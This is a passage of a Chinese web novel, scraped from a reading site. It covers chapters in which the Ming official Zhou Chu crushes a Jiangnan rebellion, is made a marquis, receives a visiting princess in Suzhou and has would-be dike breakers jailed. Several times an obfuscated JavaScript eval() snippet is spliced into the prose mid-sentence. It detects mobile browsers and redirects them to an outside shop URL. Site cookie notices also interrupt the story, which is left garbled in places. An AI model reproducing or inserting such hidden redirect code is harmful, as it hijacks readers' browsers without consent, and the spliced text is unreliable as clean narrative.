不过此事尚在筹谋之中,目前重中之重并非此事,而是江南这些事,以及开海禁。 凡事都有个轻重缓急。 京城,皇宫之中,朱厚熜正在和自己的皇后陈氏赏花,如今的时节,哪怕是京城之中,正午阳光也极为温暖,御花园之中,很多名贵的花都开了。 朱厚熜和陈氏一边晒着太阳,一边赏花,好不自在。 陈氏是北直隶大名府元城县人,父亲陈万言是当地的一个老秀才,志大才疏,如今已经年过五十,却屡试不第。 不过朱厚熜对陈氏很是喜欢,可谓是极尽宠爱,将陈氏册立为皇后之后,就直接将陈万言擢拔为鸿胪寺卿,赐第黄花坊,随后没多久又升为中军都督府同知,从一品的官职,可谓是一飞冲天。 朱厚熜对陈氏的喜爱,由此可见一斑。 “陛下,苏州府喜报,大喜啊陛下!” 黄锦右手举着一份奏报,一路小跑来到了朱厚熜面前。 对于黄锦搅了自己和皇帝的兴致,陈氏眼神深处闪过一丝不喜,却也知道这是国家大事,自己不应该闹,于是便收敛了神色。 “快!给朕看看。” 朱厚熜一听说苏州府的喜报,顿时想到了周楚的平叛事宜,别人不知道,他可是十分清楚周楚手中虎贲军的战力,更别说还有那些周楚让人造的枪炮了。 在朱厚熜眼中,那些叛军不过是活靶子,为朝廷立威的靶子。 朱厚熜从黄锦手中接过喜报,急忙打开。 “好!好!好!” 朱厚熜看完之后脸色大喜,连说了三声好。 “让人去通知所有朝臣,明日一早紧急朝会。” 朱厚熜此时哪还有心思赏花,直接起身道。 “陛下,首辅大人这几日告病在家,昨日的早朝就没来。” 黄锦忍不住提醒道。 “哼,这个老家伙,不就是怕朕再熬他吗?他不是装病吗?去,让太医院的御医去他府上给他看看病。” 嘉靖冷笑道。 黄锦一听这话,顿时知道该怎么办了,一路小跑去安排了。 “陛下,臣妾早就听闻首辅大人德高望重,年岁也确实大了些,身子骨不好也是正常的,既然首辅大人告病,陛下又何必为难他呢?” 一旁的陈氏仗着嘉靖的宠爱,有些认不清自己了,在她看来,自己为杨一清说说好话,将来让自己的父亲搭上内阁首辅这条线,对自己对陈家都好。 却不知嘉靖听到这话,眼神之中的欣喜瞬间冷淡了三分,看向一旁的陈氏,也没了之前的喜爱。 在嘉靖眼中,后宫不得干政,这是红线,特别是有着张太后这个前车之鉴,嘉靖更不能容忍后宫和前朝官员有所联系。 他可以因为喜爱擢拔陈万言,但这不代表陈氏可以对自己提意见。 嘉靖什么都没说,冷哼了一声,转身离开了。 陈氏顿时意识到自己说错话了,神情很是慌张。 第146章 嘉靖和杨一清之间的博弈,夸张的战损比,百官震惊 杨一清之前被嘉靖熬的有些受不住,这几天一直告病在家,实际上倒没多大事,就是怕皇帝再来这麽一遭,他这个身子骨能熬几次还真说不好。 “老爷,黄公公来了。” 杨一清的一个小妾满脸慌张的跑到他的厢房内说道。 杨一清的正妻早在十年前就离世了,这些年杨一清人老心不老,纳了几房小妾,倒是一个比一个年轻。 眼前这个小妾算是跟杨一清最久的了,年龄相对其他小妾要大不少,不过在杨府的地位,其他小妾却是比不了的。 论贴心和知冷知热,那些个年轻的小妾和眼前这个比,差了不知道多少。 杨一清年龄大了,很多时候也只是过过眼瘾,所以对眼前这个对自己无比贴心的妾室,反而更看重。 “快请黄公公进来。” 杨一清说着急忙躺在了床上,装作一副病入膏肓的模样,彷佛下一口气就要上不来一般。 很快,黄锦便来到了杨一清的厢房,看着眼前的杨一清,黄锦有些吃惊,要不是早就得到消息,这位首辅大人并无大碍,黄锦还真就被骗了。 “首辅大人这才几日不见,怎的这般模样了?” 黄锦满脸心疼道。 “咳咳咳,岁数大了,本身毛病就多,身体时好时坏,有劳黄公公挂怀了。” 杨一清说着还配合着咳嗽了两声,看着愈发严重了。 “陛下听闻首辅大人身子骨不好,也是无比挂念,特意让咱家带着太医院的御医来给首辅大人瞧病。” 黄锦说着拍了拍手,在屋外候着的太医这才走了进来。 杨一清一看这阵仗,心里咯噔一下,心想皇帝不会趁着这个功夫,让太医把自己给治死吧? “那就有劳了,老朽早就听闻如今太医院的这些御医各个妙手回春,定能药到病除。” 杨一清为了不让眼前的御医以後继续给自己治病,自然要尽快痊愈,这话也是在做铺垫。 御医当即上前,像模像样的给杨一清诊脉,如今这些御医可不是之前的那些水货,各个都是有真才实学的。 上手一摸,御医便清楚,杨一清别看年纪大,身子骨好的不得了,脉象中正平和,虽略显浮亏,但到了这个岁数,这都很正常。 “杨阁老的病情确实很严重,正所谓重病须下猛药,否则难以见效,下官有一方药,保管大人吃了药到病除。” 御医捋了捋自己的胡子,自通道。 实际上来之前,黄锦就特意交代了他该说什麽话。 这话一出,杨一清眼皮子直跳,下猛药?自己有没有病自己不知道吗? 都这个岁数了,一副猛药下去不死也要去半条命。 “那就有劳了,回头我让府上的下人照方抓药。” 杨一清顺着御医的话道。 黄锦听到这话,心中暗笑,面上却是一脸担忧。 很快,御医就随手写了个寒性的方子,杨一清本身就有些阳亏,需要温性偏热的方子滋补,如果真按这个方子抓药吃了,身子只会亏的更多,没病也有病了。 “首辅大人,陛下的心意咱家已经带到了,咱家得去其他大人府上通知他们一下,明日有个临时朝会,以首辅大人的身子骨,应该是去不了了。” 黄锦此时才谈到了正题。 杨一清听到这话,眉毛一挑,心想合着铺垫了这麽久,跟这等着自己呢。 杨一清没想到这个小皇帝如此难缠,快比得上千年的狐狸了。 “黄公公放心,我这就让人去抓药,如果真像这位太医说的药到病除的话,本官明日应该是可以上朝的。” 杨一清急忙表态道。 废话,再不表态都要给自己往死里治了。 “那就好,不过一切都要以首辅大人的身子骨为重,实在不行,明日我就再带御医前来为大人诊脉治病。” 黄锦笑道。 实际上除了杨一清府上需要黄锦特意来一趟之外,其他官员都是他手下的小太监去通知的。 第二日一早卯时一到,百官准时开始朝会,杨一清赫然站在百官之首位。 嘉靖看到杨一清,很是满意。 “朕今日召开朝会,是有一件大喜事和诸位分享,江南的叛军已经被周衡器彻底剿灭了。” 嘉靖满脸兴奋道。 此言一出,百官顿时哗然,他们想过张氏兄弟不成气候,却没想过如此不成气候,这才多久?几日之前的朝会才商议决定任命周衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033943|148848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器为江南平叛元帅,现在就平叛结束了? “黄锦,宣读一下周衡器的战果。” 嘉靖看了一眼黄锦道。 “周大人据守苏州府,叛军攻打苏州城,被周大人率军全部歼灭,此一役,周大人歼敌十二万三千五百三十五,我大明将士阵亡三十五,周大人居功至伟。” 如果说方才嘉靖说周楚平叛成功,百官最多是震惊於周楚平叛速度之快。 但此时听了周楚的战报,文武百官一个个都脑瓜子嗡嗡的,特别是那些武将,脑子都转不过来了。 这他娘的是什麽逆天战损比? “陛下,周大人这战报不会是造假了吧?谎报军功? ” 一个武将脑门子一热,直接出列道。 “陛下,臣也以为这战报有待商榷,还需派人核实一下,这战损比实在过於匪夷所思。” 杨一清跟着说道。 只要是能对周楚不好的论调,他杨一清都会帮帮场子。 杨一清此话一出,紧接着无数官员纷纷附和。 嘉靖听到这话,心中冷笑不已,不过对此也早有预料,自然不会着急。 “朕昨日收到这份战报的时候,也有些困惑,直到昨夜,朕收到了崔应宿的密奏,才发现这周衡器确实谎报了一些军情。” 嘉靖说着示意黄锦拿出另一份奏疏。 崔应宿便是崔文奎,应宿是崔文奎的字。 百官听到这话,全都一副果然如此的表情,杨慎倒是一脸困惑,以他对周楚的了解,周楚应该不是如此浮夸之人?为何要谎报军情? 实际上不只是杨慎不理解,就连韩玠和其他那些站在周楚和皇帝这边的官员也不理解。 杨一清则是心中一喜,他没想到周楚会犯这种低级错误,如此一来,倒是可以藉机抹去周楚的军功,否则这一次的军功太大,之前王阳明都能凭藉军功封伯,以皇帝对周衡器的荣宠,恐怕封个侯都说得过去。 不管众人心里怎麽想的,黄锦此时已经开始看崔文奎的密奏了。 “崔大人的密奏之中确实写了战损比一事,也确实和周大人说的不一样,崔大人说,周大人平叛结束之後,无一位将士阵亡,只有极少数士兵受了些伤。” 第147章 周楚封侯,百官震动,雨季提前到来 “不可能,绝对不可能!” 之前第一个发声的武将听到这话,下意识的便反驳道。 实际上不只是他,其他所有官员都是差不多的反应。 哪有人报战损还往多了报的? 不过很多人稍微一想也想明白了,要真按照崔文奎说的那样去报,更无人相信。 别说是那样了,即便是现在周楚报上来的版本,他们也很难相信那是真实存在的战损比。 即便是杨一清活了这麽大,也是第一次听闻这等夸张的战损比,甚至已经不能用战损来形容了,因为己方根本没有任何将士阵亡。 “诸位可还有话说?难不成诸位认为崔应宿也会向着周衡器说话?” 嘉靖看着满朝文武支支吾吾欲言又止的模样,顿感神清气爽,忍不住反问道。 就连杨慎等人,此时也是目瞪口呆,他们知道周楚能力强,是治国的不世之材,却怎麽都没想到周衡器领兵打仗的能力居然还如此恐怖。 这样一个人,难道就没有任何短板吗? 杨慎不禁为周楚感到一丝担忧,周衡器太完美了,太全面了,方方面面的强,强到让人无法望其项背。 这样一个人,倘若是君王,那将是大明之福,但为臣子,难免会被君王猜忌。 虽说如今的陛下看上去不像是那种容不下能臣的君王,但这也要看能臣能到了何种地步。 有句话说得好,很多时候不在於你想不想造反,在於你有没有能力造反,在於你造反之後,朝廷有没有反制你的手段。 倘若朝廷没了反制你的手段,即便是再贤明的君主也会想办法将你控制起来,这无关信任。 比如汉高祖之於韩信,那时韩信想不想反已经不重要了,韩信一旦造反,整个大汉将无人可以反制,因此汉高祖必须将韩信拿下,放在自己眼皮子底下看着。 当然,就目前看,周衡器还没到这种地步,而且大明还有诸多问题等待解决。 “传朕旨意,周衡器平定江南叛乱,为我大明立下汗马功劳,即日起,册封周衡器为长平侯,食邑一千户。” 此言一出,满朝皆惊。 除了明初洪武永乐年间之外,後面所封的侯基本上都是名义上的侯爵,如建昌侯,实际上是没有食邑的,或者说就算有,食邑也很小,基本上一两百户。 千户侯已经不知道多久没出现过了。 明朝不像古代,随随便便就封万户侯,千户侯都是极其罕见的。 封侯和封侯之间,也是有着极大的差距的。 如今皇帝居然毫不犹豫的将周楚封为千户侯,百官听到这话,反应不一。 不过大多都是眼红。 杨慎倒是有些担忧,周衡器如此年纪轻轻,就被封了千户侯,将来再为大明立功之後该如何封赏?难道封国公?国公之後呢?又该如何封赏。 至於封地封在长平,长平乃是如今的山西省高平府,长平这个名字早已消亡在历史长河之中,不过这个名字很有代表性,战国时期,长平战役是秦国和赵国之间规模最大,持续时间最长,双方损耗最严重的一场战役。 也可以说是改变战国根本格局的一场战役。 将周楚的封地定在这里,还有另外一个原因。 当初周楚和嘉靖说过,山西的商人将来会成为大明的心腹大患,这些商人心中并无多少家国情怀,很多都是唯利是图之辈,有这些商人在,大明对蒙古人的盐铁封锁政策,见效才如此缓慢。 将周楚的封地安排在山西,周楚就可以藉此安排人手,死死盯住这些商人,虽然山西偏远且贫穷,但周楚并不在乎,毕竟他自己并不需要去封地。 搜书名找不到, 可以试试搜作者哦, 也许只是改名了! 最重要的是,山西的煤炭资源,才是周楚看重的,这些才是将来大明最宝贵的财富。 等到未来,几十年甚至上百年之後,大明的工业革命一旦开启,山西的煤炭价值便会水涨船高。 届时周楚的後人便可以背靠山西,坐吃山不空。 不论朝中百官如何反应,此时的苏州府,乃至整个江南,已经开始了梅雨季节。 淅淅沥沥的小雨彷佛下不完一般,一天接着一天,自从周楚平叛结束之後,已经连下三天了。 这让周楚有些担忧那埋着的十几万尸体,毕竟这麽多雨水,再把他们给冲出来。 但十几万尸体如果焚烧的话,需要的木材又是海量的,造成的空气污染也很严重,实为下策。 一时之间,周楚也没什麽好办法,有些犯愁。 不过犯愁归犯愁,其实也没有多严重,大不了等某一天雨停了,再让军队统一处理一次就可以了,只是等那时候,恐怕都泡臭了。 周楚怎麽都没想到今年的雨季来的比往年早,搞了自己一个措手不及。 整个苏州府都笼罩在了烟雨朦胧之中,看上去很美, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033944|148848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江南烟雨,实际上让人很难受,哪哪都是潮湿的。 周楚也趁着这个机会闲下来了,带上了上好的炭再次来到唐府。 烟雨天气,大户人家都需要炭火,一方面是为了保持房间的乾燥,另外一方面则是将那 些潮湿的被褥用炭火烘乾一下。 如此一来,更加考验炭的品质,那些低劣的炭一点燃全都是烟,周围都不能有人,而且用这种炭烘乾的被褥,也都有一股烟熏火燎的味道。 周楚这里最不缺的就是顶级的炭,从去年刚来苏州府的时候,就有专门负责这一块的人源源不断的将各类顶级物资送到周楚家中。 炭只是其中之一。 如今苏州的周府,别说是春兰了,即便是一个不起眼的下人,出门在外别人都得恭维着。 正所谓宰相门前三品官,如今的周楚之於江南,之於苏州府,完全不亚於宰相之於国家了,甚至犹有过之。 这便是权势带来的附赠品之一。 权利带来的东西还有很多,即便是周楚,也很享受自己现在所拥有的权势,周楚早已习惯了所有人在自己面前低眉顺目,谄媚讨好。 不过周楚也只是享受,并不会因此迷失自己,周楚一直都很清楚自己要做什麽,目标是什麽,在达到这个目标之前,周楚还有很长的路要走。 一个人要想不在半路迷失,那就给自己定一个很高,很强烈却又能实现的目标,如此一来,便不会被路上的风景迷住双眼。 “衡器哥哥,这是我刚画的画,送给你了。” 小徐渭奶声奶气的捧着一幅画,来到周楚面前。 周楚接过这张画,打开看了看,直接合上了。 这一刻,周楚承认自己嫉妒了,凭什麽人和人之间的差距可以大到这种程度。 小徐渭随便画画,都是周楚欲求不得的水平。 “衡器哥哥是不喜欢吗?” 小徐渭在一旁杀人诛心道。 一旁的唐伯虎听到这话,又看了看周楚那副便秘的表情,顿时忍不住哈哈大笑。 “你衡器哥哥很喜欢,他准备拿回去好好欣赏。” 唐伯虎看着徐渭,笑道。 本站采用Cookie技术来保存您的「阅读记录」和「书架」, 所以清除浏览器Cookie数据丶重装浏览器 之类的操作会让您的阅读进度消失哦, 建议可以偶尔截图保存书架, 以防找不到正在阅读的小说! 第148章 德清公主和林瑶抵达苏州府,雨夜之中试图决堤之人 如果说哪方面最能体现人和人之间的差距之大,周楚认为绝对是丹青一道。 天赋差的,甚至天赋一般的,後天再怎麽努力,也比不过人家天生就会画的。 很可能你努力的上限,不过是别人的起点。 此时周楚在小徐渭身上很直观的感受到了这一点。 徐渭现如今不过一岁多,很多小孩一岁多的时候不过刚刚学会说话走路,但徐渭已经可以信手画出自己想画的东西了。 周楚很嫉妒,嫉妒徐渭的天赋。 不过周楚也清楚,这东西嫉妒没用,生下来有就是有,没有就是没有,改变不了的。 “这是前两天得到的一个小玩意,你拿着玩吧。” 周楚说着随手从怀中取出一个金镶玉的平安扣,这个平安扣不过是之前抢来的海量宝物之中的一件小玩意。 和後世不同,後世大多数金镶玉玉无好玉,所谓金镶玉不过是为了掩盖玉本身的一些瑕疵。 这个时代的金镶玉可是实实在在的好东西,只有最顶级的玉石才会让名家用黄金做成金镶玉,而且上面的黄金的纹路都是极其考究的。 毕竟在这个时代,黄金比玉石贵重多了,只有最顶级的玉石才是最值钱的,普通的玉石根本不值什麽钱。 “谢谢衡器哥哥。” 徐渭满脸高兴的接了过来,随後在周楚的指点下笨手笨脚的戴在了自己的脖子上。 “老爷,德清公主正在府外求见。” 正当周楚和唐伯虎两人喝酒的时候,唐府的管家一脸慌张的跑进来道。 “你个泼皮,还不赶紧请公主进来?” 唐伯虎一听这话,看着外面还在下着雨,看了一眼管家,恨铁不成钢道。 管家也有些委屈,他哪敢拦公主的大驾,但德清公主坚持先让他通报。 倒不是看在唐伯虎的面子上,纯是看在周楚的面子上,毕竟唐伯虎是周楚的老师。 如今的周楚身份不同以往,即便是德清公主也不敢怠慢。 自打唐伯虎和周楚离开京城之後,公主府就再次冷清了下来,陆炳的母亲杨氏也不好经常去公主府,毕竟在杨氏看来,双方身份的差距太大了,自己一直去公主府,恐有攀附之嫌疑。 她却不知道德清公主恨不得她天天去呢,只是这话德清公主也不好说出口,她身份清贵,很多话都不方便说。 这段时间,林瑶一直念叨着周楚的名字,特别是每次听到周楚在江南做的一件件大事的时候,林瑶比谁都兴奋,於是便开始撺搓自己的母亲和自己一起去江南游玩,如此一来也可以见一见自己日思夜想的衡器哥哥。 虽然林瑶缠的紧,德清公主却是一直没有答应,林瑶眼看自己的母亲这边不松口,乾脆进宫求嘉靖了。 对於自己的这个表妹,嘉靖倒是很好说话,更何况在嘉靖心里,也希望林瑶和周楚走到一起,如此一来周楚和皇室之间,也多了一层联系。 就像昔日商鞅为了自己的抱负,也是放弃了自己的红颜知己,娶了秦国的公主。 林瑶虽然不是公主,却也是公主的女儿,和皇室之间的关系很近,倘若周楚能和林瑶成亲,无论是嘉靖还是对大明而言,都是一件好事。 当然,嘉靖并不会强迫周楚做选择,不过让自己的这个表妹前往江南,嘉靖还是很乐意看到的。 而且嘉靖一直很清楚,自己的姑姑自从姑父去世之後,一个人在公主府很是憋闷,不如趁着这个机会,让他们母女二人一同前往江南游玩。 为此嘉靖还特意给了德清公主母女二人一个很好的名头。 代天巡狩,巡查江南。 不过不管是嘉靖还是朝中百官都清楚,这不过是个由头罢了,没人会深究。 如今的公主府,因为云桂坊赚的盆满钵满,再也不想之前过的那般紧巴了,德清公主干脆让人买了一艘专属於公主府的船,顺江南下。 关於登录用户跨设备保存书架的问题, 已经修正了, 如果还是无法保存, 请先记住书架的内容, 清除浏览器的Cookie, 再重新登陆并加入书架! 走水路比陆路快了不知道多少倍,仅仅不到十日,德清公主一行便到了苏州府,原本是去的周楚府上拜访,得知周楚正在唐府,也算是凑巧了,於是便来了唐府。 “公主殿下,您怎麽不直接进去呢?” 唐伯虎和周楚此时都来到了唐府门口,正好看到了德清公主和林瑶,以及两人身旁打着伞的太监。 这幅画面,倒是真有一种江南烟雨之中美人的感觉。 “唐解元言重了,本宫只是觉得这江南烟雨确实漂亮,在京城之中很难看到,就忍不住多看了会。” 德清公主说话很是巧妙,瞬间化解了唐府管家的尴尬和窘迫。 “下官周楚见过公主殿下,见过县主。” 周楚行礼道。 “衡器,什麽时候变得这般生分了?” 德清公主略显责怪道。 “就是,衡器哥哥,何须如此多礼。” 林瑶时隔数月,再次看到周楚,满心满眼都是掩盖不住的高兴。 周楚看着眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨中,一群人纷纷拿出随身带着的镐耙,为首挥动镐耙全力砍向堤坝。 他预想的场面并没有出现,反而是那强烈的反震力,让他虎口发麻,同时镐耙和堤坝接触之後,在昏暗的天色之下,居然出现一道火花。 所有人看着完好无损,只有一道浅白色痕迹的堤坝,陷㣉了沉思。 第149章 杨一清认怂,嘉靖的最新任命:官复锦衣卫指挥使 “往下挖,我就不信,他们这堤坝还能筑多深。” 为首的人确认了强行掘开堤坝几乎不可能之後,咬牙切齿道。 众人听到这话,互相看了一眼,也都下了狠心,开始吭哧吭哧的沿着堤坝的边缘往下面挖。 等这些人挖了许久,都往下挖了半米左㱏了,这才绝望的发现,堤坝似乎还要往下,而且根本看不到堤坝的根在哪。 当初周楚为了保证堤坝的稳固性以及为了防止有人偷偷掘堤,让所有工人在原有堤坝的外面,直接往地下挖了近两米深,同时让人将一根根和手臂差不多粗的实木打㣉地下。 然後又让人用竹子将这些实木捆绑横向连接成一个整体,这麽做虽然不如钢筋那麽结实,但也能保证整个堤坝灌注完成之後,会是一个整体,想要掘开堤坝,以现有的手段,千难万难。 因此周楚当初还在堤坝上一点点教那些施工的流民该如何去做,等第一批流民学会了之後,周楚就把他们分散到各处,让他们再去教其他流民。 “什麽人?” 一群人还在埋头挖堤坝,此时的堤坝之上,一群巡视的官兵看到了下方人影攒动,顿时一声暴喝。 官兵的声音一出,挖堤坝的那些人心中一惊,纷纷等下镐耙,四散奔逃。 “抓!” 为首的官兵自然不会放过这些人,直接带人沿着堤坝慢慢爬了下去,随後迅速向那些人追了过去。 京城,朝会还在继续,文武百官已经逐渐接受了周楚那夸张的战绩,以及皇帝对周楚的封赏。 “如今安南已复,安南的那个出海口辐射整个东南沿海,朕以为当趁此机会,解除海禁,让我大明的丝绸和瓷器远销海外,如此一来,我大明才能真正的富庶起来。” 嘉靖终究还是提出了自己预谋已久的想法,开海禁。 此时的时机已然接近成熟,江南士绅们的走私路径基本被断绝,海上还有玄武军虎视眈眈,想要继续出海赚钱,对他们而言只有一条路可以走,那便是开海禁,有钱大家一起赚。 如此一来,海上那群海盗,特别是那个玄武海盗团,就成了大明的敌人,而非江南那些士绅的敌人。 於公於私,这些人都没有反对开海的理由。 不过一切都要有个由头,而这个由头就得由嘉靖说出口。 “陛下英明,臣也以为我大明天朝上国,应当荡平四海。” 兵部侍郎当即出列道。 其他人听到这话,全都一脸怪异的看着此人,原因无他,因为此人正是江南集团的人,杨廷和还在的时候,此人更是唯杨廷和是从。 正德年间,朱厚照也偶尔提起过开海,其中反对最激烈的就是杨廷和这些人,此人就曾经言辞激烈的反驳朱厚照,说开海乃是违背祖训,毕竟海禁乃是洪武皇帝朱元璋定下的,每次有皇帝提出开海,文官们都会以此驳斥。 杨一清对此人的无耻程度都有些刮目相看,虽然杨一清清楚他为何如此支持皇帝开海,但如此前後判若两人的态度,思之令人发笑。 “石淙,你怎麽看?” 朱厚熜自然不会让杨一清独善其身,本着熬老头的态度,朱厚熜每件事都要问一下杨一清的态度。 杨一清听到这话,暗自叹了口气,心知这是皇帝有意折腾自己,不过这几日他在家好好休养调理,再加上每次上朝之前,嘴里都会含一片人蔘,虽然难熬,却也没多大问题。 “陛下,臣以为海禁虽然要开,却不可操之过急,如今东南沿海倭患未平,匪患猖獗,特别是海上,海盗横行,这些问题不解决,贸然开海禁,有害无益。” 杨一清自然不会顺了嘉靖的意,不过他这话却也句句在理,倭患不解决,开海禁存在极大的隐患。 对於杨一清的话,杨慎罕见的没有反对。 “石淙说的有道理,倭患始终是我大明的心腹大患,倭患一日不平,我大明难以安宁,既如此,那一事不烦二主,就让周衡器去平定倭患,诸位以为如何?” 这次嘉靖倒没有让这些人推荐人选,也不能次次朝会都熬到日上三竿,那就太明显了。 “臣以为此举甚妥,以周衡器的领兵能力,区区倭患,不足为惧。” 杨一清很清楚,开海是大势,无论对皇帝而言,还是对江南那些人而言,亦或是对整个大明而言,都是有百利而无一害,倘若自己阻拦大势,那无异於以卵击石。 杨一清能坐上今天的位置,自然不是什麽蠢人,知道什麽该阻止,什麽不该阻止。 至於周楚剿寇之事,有了之前的战绩,杨一清更没理由反对了,反对了也没用, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原本这些人应该是交到苏州府衙的,不过现如今整个苏州府的治安,都由锦衣卫所负责,包括堤坝。 对此,严嵩自然是毫无意见。 周楚听到这话,顿时来了精神。 “先关押起来,好好看管,不要让他们死了,回头我好好会一会他们。” 周楚冷笑道。 本站采用Cookie技术来保存您的「阅读记录」和「书架」, 所以清除浏览器Cookie数据丶重装浏览器 之类的操作会让您的阅读进度消失哦, 建议可以偶尔截图保存书架, 以防找不到正在阅读的小说! 第150章 林鹿:瑶瑶你也配得上大人?心疼弟子的唐伯虎 很快,林鹿和林廌两兄弟也都来到了唐府。 这几日因为是梅雨天,周楚便让林鹿在虎贲军军营训练虎贲军的雨天行军和搏杀的能力,这是特种训练必不可少的一环。 以虎贲军的体质,基本没有因为淋雨而发风寒的,不过即使有,周楚也早就准备了苏州府的一些名医,在军营之中备着。 後世很多人认为没有阿莫西林等抗生素感冒很难治,实际上这是一种极大的谬误,对中医而言,感冒不过是风寒,寒症,对症下药,一个方子就可以痊愈。 抗生素的出现主要是让军队和百姓的外伤能得到快速的抑制,而且抗生素的强在於可复制性,可以快速生产很多。 中医看病讲究的是对症,大面积受伤的话,没那麽多医生一个个看,抗生素就是最好的选择。 “娘,瑶瑶。” 见到德清公主和林瑶,林廌显得很高兴,林鹿虽然也高兴,却要比林廌显得稳重许多。 德清公主看着自己许久没见的二儿子,拉过林廌的手,有些心疼。 “高了些,瘦了些,黑了许多,不过看样子是成材了。” 德清公主有些絮叨道。 终究是自己身上掉下来的肉,当初在京城的时候是横挑鼻子竖挑眼,怎麽都看不上,突然分开这麽久,德清公主眼里的林廌缺点早已消失不见,眼中有的只有心疼。 “大哥,这是嫂子托我给你带的书信。” 林瑶说着取出一封信,递给了林鹿。 林鹿听到这话,满是惊喜的从林瑶手中接过家书,在京城大婚没多久,林鹿就跟着周楚来到了苏州城,至今已经分别近半年,林鹿对家中的娇妻也是想念得很,这几个月两人常有书信往来。 “瞧瞧,这就叫有了媳妇忘了娘。” 德清公主看着自家儿子那副不值钱的模样,取笑道。 林鹿一向杀伐果断的性子,此时面对这般调笑,也有些抹不开面,耳朵都红了。 “林鹿丶林廌,今日准你们半日的假,好好陪一陪公主和县主,明日归队。” 周楚看到这一幕,也忍不住笑道。 “是,大人。” 林鹿和林廌两兄弟听到这话,急忙说道。 “老师丶公主殿下,我有些急事需要处理。” 周楚看着唐伯虎和德清公主道。 “你先去忙,国事重要。” 德清公主连忙说道。 至於唐伯虎,根本不需要表态,他和周楚早已形成了默契。 周楚听完这话,行了个礼,离开了唐府。 “娘,瑶瑶,你们怎麽突然来苏州府了。” 林鹿疑惑道。 德清公主听到这话,忍不住看向了一旁的林瑶。 “还不是这死丫头,天天念叨着衡器,陛下禁不住她念叨,就给了我们娘俩旨意,让我们来江南游玩来了。” 林瑶听到这话,脸色也红了。 “娘!” 她一边说着还一边摇着德清公主的胳膊。 林鹿和林廌一听这话,顿时明白了是怎麽回事。 “瑶瑶,如果你真的心悦周大人,恐怕要再等几年,最起码这一两年是不行的。” 林鹿一脸严肃道。 “这是为何?” 林瑶还没开口,德清公主反倒是一脸疑惑道。 “周大人一心为国为民,从未有过私心,如今看似风光,实则凶险无比,一步踏错,便是万劫不复。” 林鹿叹了口气道。 “娘你可知道周大哥来离开京城之後,遇到过多少次刺杀,多少次失火?” 林廌在一旁补充道。 德清公主听到这话,茫然地摇了摇头。 林鹿将周楚在来苏州府路上遭遇的刺杀,以及之前要清丈土地之时遭遇的刺杀一一说了出来。 听完这些,不只是德清公主和林瑶,就连唐伯虎也感到脊背发寒,同时无比担忧。 周楚在他这里,一向是报喜不报忧的,外面有天大的事,也从未和唐伯虎说起过,两人一向只谈家事,只饮酒作乐。 听到这话,唐伯虎才明白自己这个弟子在外面面对的是什麽样的局面,别说面对了,唐伯虎光是想想就觉得头皮发麻,如果换成他,早就不知道死了多少次了。 怪不得每次自己提起请衡器去青楼玩乐,他总是以各种理由推脱。 想来也是为了自己的安全。 一想到周楚在外面时时刻刻都要面对这等危险,在自己面前又要装作风轻云淡的模样,唐伯虎不知不觉间,眼泪就流了出来。 男儿有泪不轻弹,只缘未到伤心处。 不只是唐伯虎,林瑶听了这些,也忍不住流下了两行清泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而且林瑶很清楚,以周楚的本事将来封侯,甚至封国公都是极有可能的。 林瑶她们从京城出发的时候,距离叛乱爆发还有几天的时间,所以并不清楚周楚此时已经被封侯了,还是千户侯。 “公主说的对,这孩子如今都这般权势了,能来的地方,也就我这唐府了,能说说话的人,也就我这个老头子了。” 唐伯虎叹了口气道。 “他的路,注定难走,所以他不想因为自己连累任何人,我和文徵明,还算是苏州府的名家,没人会动我们,否则衡器连个说话的地方都没有。” 此时,唐伯虎才明白自己的这个弟子那一直以来的孤寂之感,是从何而来。 如果书架和阅读记录丢失了, 可以前往novel543网域,再打开书架试试! 第151章 苏州府大狱,忐忑的牢头,刑讯犯人 周楚来到了苏州府的大狱之中,今时不同往日,如果是以往,苏州府的大狱完全相当於那些士绅和富商的後花园。 现如今整个苏州府甚至江南,都在周楚的掌控之中。 虽说这些狱卒都是本地狱卒世代相传的,却也有些眼力劲,知道什麽事能做,什麽事不能做。 没有哪个狱卒敢在这个节骨眼上触锦衣卫的霉头。 当然,为了防止这些人被杀人灭口,大狱之中,陈昭已经安排了锦衣卫在盯着。 “头,这些被关进来的都是些什麽人啊?这麽大的阵仗。” 其中一个狱卒看着牢头,满脸不解道。 牢头听到这话,转身瞪了说话的狱卒一眼。 “不知道规矩吗?不该问的别问,你想死,别带上我们。” 牢头这话,让狱卒脖子一缩,顿时意识到此事的不寻常,便不再多问。 